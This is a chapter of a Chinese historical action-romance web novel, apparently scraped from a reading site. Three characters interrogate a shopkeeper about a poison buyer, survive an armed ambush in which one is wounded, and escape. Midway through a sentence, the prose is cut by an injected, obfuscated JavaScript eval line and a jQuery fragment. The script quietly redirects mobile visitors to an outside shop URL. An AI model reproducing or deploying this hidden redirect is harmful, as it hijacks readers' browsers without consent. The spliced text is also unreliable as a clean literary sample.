10.断失
    宣明堂的二楼厢间。

    聂昭昭瞧着眼前大腹便便的掌柜。只见他来回在三人面前渡步,旋即又露出笑脸来,问:“我这个宣明堂,有个规矩,来者不拒,但是,客官想问点儿的东西,还需自报家名,咱们也好知根知底不是?”

    “别回头陷我于不义啊。”

    “是吗?”陆行安声色薄淡,“若我不肯呢?”

    “不肯?”掌柜一噎,神情凝滞。

    “那便只有送客了。”

    且不待他反应,刀剑声从奉康的腰间破开宁静。光面晃动,横在掌柜的脖颈处。

    他被吓得惊叫,十指颤抖,面露惊恐,看着那离他咽喉不过半寸的刀刃,竟瘫软在地,嘴里不断喊到:“大人,大人饶命!”

    不过是个纸老虎。陆行安看着掌柜这般模样,道:“你做的买卖可不干净。好好想想。”

    “你是想现在说,还是在牢狱之中,再说?”

    “现在说!”掌柜说得麻利,生怕奉康的剑一不小心夺取他的性命,诺诺连声:“我,我现在说。”

    不多时,一包黑色的药粉便出现在三人的视野之中。

    掌柜恭顺着,半曲身子,有些忐忑,道:“这买孟桥草的人其实并不算多。这么些年来来去去也不过几个人。”

    “谁?”聂昭昭问。

    这掌柜似是难以开口,磨蹭了半晌,才言:“最近几月都是两个神秘客来我这里。”

    “神秘客?”

    “是啊。一个戴着吓死人的面具,一个只用书信沟通,二人皆从来不见真容。”

    掌柜说得悄声,样子神秘,道:“不过那书信客也只是拿走了一两,戴面具的客人呢,拿得多,足足十两。”

    “面具......”聂昭昭思忖着,“是不是,那种,鬼怪夸张的面具?”

    这掌柜听罢,忙拍手,道:“对对对!正是!”

    聂昭昭望向陆行安,他也正看向她,一切尽在不言中。

    “你方才说的书信客的那些书信,可还在?”

    “在在!”掌柜露出些讨好的笑,带着惶恐,生怕这奉康的刀剑不长眼,忙朝陆行安,道:“我这就去拿给三位。”

    厢内只剩三人。

    “傩戏面具,那不就是鬼市的人吗?”

    陆行安沉吟,回答着聂昭昭的问话:“但是能进鬼市做买卖的,必然都有这模样的面具。”

    “方才,那掌柜提的书信客,恐怕也不是等闲,不如先辨出来信者何人再从中下手。”

    聂昭昭点头,有些困倦了,她打着哈欠,在房间来回渡步。

    “掌柜!掌柜你怎么了!”

    “杀人了!快报官!杀人了!!!”

    一声急切,从楼下传来,又夹杂着宣明堂外路人刺耳的尖叫。

    宣明堂小厮的惊呼,掺杂着震惊与害怕。聂昭昭心中一紧,欲去探个究竟,却被陆行安拽住手臂。

    “聂郎中,还是我去看看吧。”奉康说罢,警惕着,朝外而去。

    可尚且不等奉康往下走,一个被弩箭扎成刺猬的人影,踏着一地血红,步履蹒跚着,上来。

    是这宣明堂的小厮!

    “有人!救救我,有人杀进来了!!”

    小厮说罢,两眼一闭,呕出一口鲜血,便一头栽倒在地,不省人事。

    从他身后,猛地,蹿出十几玄色身影。

    “哼!陆行安!今儿我善衣堂,来向你讨命!”

    说话的,是玄衣人之首的蒋重天。他提着一把泛着银光的大刀,面目狰狞,似乎恨极了。

    “叫你家主子出来送死!”

    蒋重天说着,明晃晃的刀刃逼着奉康朝后退。

    “长得丑,倒是想得美。”奉康扬起轻蔑的笑来,不等蒋重天发作,他的剑便直逼那把大刀。二人相距甚近,蓦地,奉康笑意更深了几许,腕臂出了全力。

    “哐当”

    大刀被打偏了去,直直落在地上。

    “你!”

    蒋重天怒发冲冠,可手腕的疼痛直让他牙尖儿打战。

    “唰——”

    奉康环顾着四周指向他的利刃,波澜不惊。

    “好了,奉康。不能欺负咱们蒋堂主,毕竟我可是将他的手筋挑断了,纵然再被什么名医治好了,可被你一击,那也是钻心的疼。”

    蒋重天呼哧着气儿,朝着从厢房内走出的陆行安。

    男人桀骜的眉眼,带着十足的挑衅,让他气得两眼发昏。就是这个家伙,一年前将他打成半个残废,前些时日,又偷走了善衣堂的至上宝物!

    蒋重天气急败坏,怒声道:“陆行安,你个该死的!我今日来就是取你的狗命!”

    他说完,似是想到什么般,神情从怒转为嘲弄,越过陆行安看向他身后的聂昭昭,道:“还带个小娘们。哼,今日,你必然是插翅难飞!”

    “受死吧!”

    这声暴怒,回响着。瞬间,刀光剑影扑面而来,朝着三人横冲直撞。

    “主子!小心!”

    一抹刀光闪过,将将要到陆行安脖颈前,被他避了去。陆行安伸手握住那玄衣人手臂,用力一拽,抽出他手中的刀刃,一剑穿喉。

    血喷溅在陆行安的脸庞。淡淡红银出鞘,莲瞳剑的身色,在一团银白之间,尤为瞩目。

    “奉康,你带聂昭昭走。”

    陆行安说着,莲瞳横穿玄衣人的腹部,迸开一地不知血肉的物什。

    “主子,这怎么行!”奉康惶恐。且不说眼前险境,这厢房内又有何处可逃脱?

    “想走?!一个也不能走!!!”

    是蒋重天的声音。不知何时,他竟将聂昭昭挟持,掐着她的脖子,放肆地看向眼前的陆行安二人。

    “如何走?”蒋重天大笑,猖狂得很。

    “放开她,不关她的事。”陆行安心狂跳不止,衣袍带血,看着聂昭昭有些青紫的脸,不敢上前。

    他有些慌神,死死盯着蒋重天的举动。

    “我可以放了她,但是,你们得跟我回去。”

    “好。”

    似乎有些诧异陆行安的爽快,蒋重天愣神,旋即笑了起来:“把他俩拿下!给我慢慢杀......”

    “不要......”

    聂昭昭的声音被掐住,只有细细的声响。她看着那群玄衣人一脚踢向陆行安他们的膝窝,迫使他们跪下身。

    忽然利刃穿过陆行安的肩胛,绽开一地血花。

    蒋重天笑了,笑得更加嚣张,似乎是笃定一切即将结束,他手上的力度也慢慢松和下来。

    空气灌入聂昭昭的肺,她得以几丝喘息,身体渐渐恢复了力气。

    眼看那血红的剑刃即将再次没入陆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245419|151111||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    行安的身体,聂昭昭使出浑身解数,手肘用力击打在蒋重天的下/.体。

    “喔唷!”一声杀猪声从聂昭昭身后爆发。

    “别呼吸!”

    且不等那群玄衣人听清,黑色的孟桥花粉飞入他们的鼻腔。

    “娘的!小贱人!我要杀了你!”蒋重天叫嚣着,想上前,却奈何只感身体支离破碎,仿佛五脏六腑都稀烂般,只能哀嚎着,嘴里放着不干不净的狠话。

    “你们快抓她!抓住她啊!!!”

    蒋重天的喉咙发出剧烈的嘶吼,可眼前的玄衣人,个个儿宛若呆滞,定定站在原处,双眼无神。

    聂昭昭拽起陆行安和奉康踏过一地红艳,直往宣明堂外而去。

    大街上的行人纷纷被浑身是血的三人吓得纷纷让道。聂昭昭回头看去,奉康伤得略轻,而陆行安因血流不止,嘴唇开始发了白。

    聂昭昭心中一惊,四下看去,猛地看向一辆马匹拖行的运货车,慢悠悠地在前边儿驶过,她急忙跑去叫停,朝着马夫道:“老伯可否借车一用!我给您一两金。”

    待陆行安再睁眼,已是幽幽之夜。

    熟悉的房间,华丽的装潢,柔软的黄梨木榻,淡淡檀香萦绕。

    是宸王府。

    他坐起身,一股钻心的疼痛自肩胛而来。

    陆行安闷哼,低头去瞧,便见伤口早被包扎好了去,沁出些许红。

    “你终于醒了。”

    房门被推开,陆行安望去,便见,聂昭昭端着一碗汤药走到他的床边。

    那令人厌烦的药味儿散开,弥漫在房间内,叫人想逃。

    “你怎么,”聂昭昭神色担忧,可嘴上却不饶人,道:“怎么这么逞能......”

    “要是真的死了,又该如何?”

    陆行安没说话,接过药碗,默默喝下那苦涩的汤药。药汤入口,他蹙眉,良久,才道:“奉康呢?”

    “在隔壁休养呢。”

    陆行安又沉默了。

    “只是,你别这样.....”

    “你不必为了我而……”

    聂昭昭觉着是自己话重,有些不好意思地轻缓了声,观察着陆行安的神色。

    “我不是为了你。”

    “也不用你管。”陆行安说得淡漠极了。聂昭昭睁大眼睛,她被堵得够呛,觉得眼前此人真是莫名其妙!竟是好赖话都听不出来。

    “你!你真是好赖不分!我就不该管你!”

    她说得着急,面色涨红。是有些委屈的,聂昭昭没想到陆行安居然没有舍弃她。他应当舍弃她的,可为什么呢?聂昭昭想不明白。

    她嘴唇一张一合,没有说话。算了,怎么着眼前的人也算救过她的命。聂昭昭想着,不与陆行安计较,全当报恩了。

    陆行安喝着碗中药,眼底却闪过一抹难掩的痛。

    他又想起了母妃。那被染红的衣袖,裹着血色的泪珠。他害怕,他害怕再有人因他而死。

    正当二人皆陷入沉思之际,房门被猛地推开,奉康跌跌撞撞地跑了进来,神色慌张,带着几分不知所措。

    “不好了!”

    聂昭昭紧紧盯着奉康的嘴唇,似是预感,有什么她难以接受的东西,要从他嘴里蹦出来般。

    奉康看向二人,抿唇,终道:“消失了,聂文泉,在狱中,消失了......”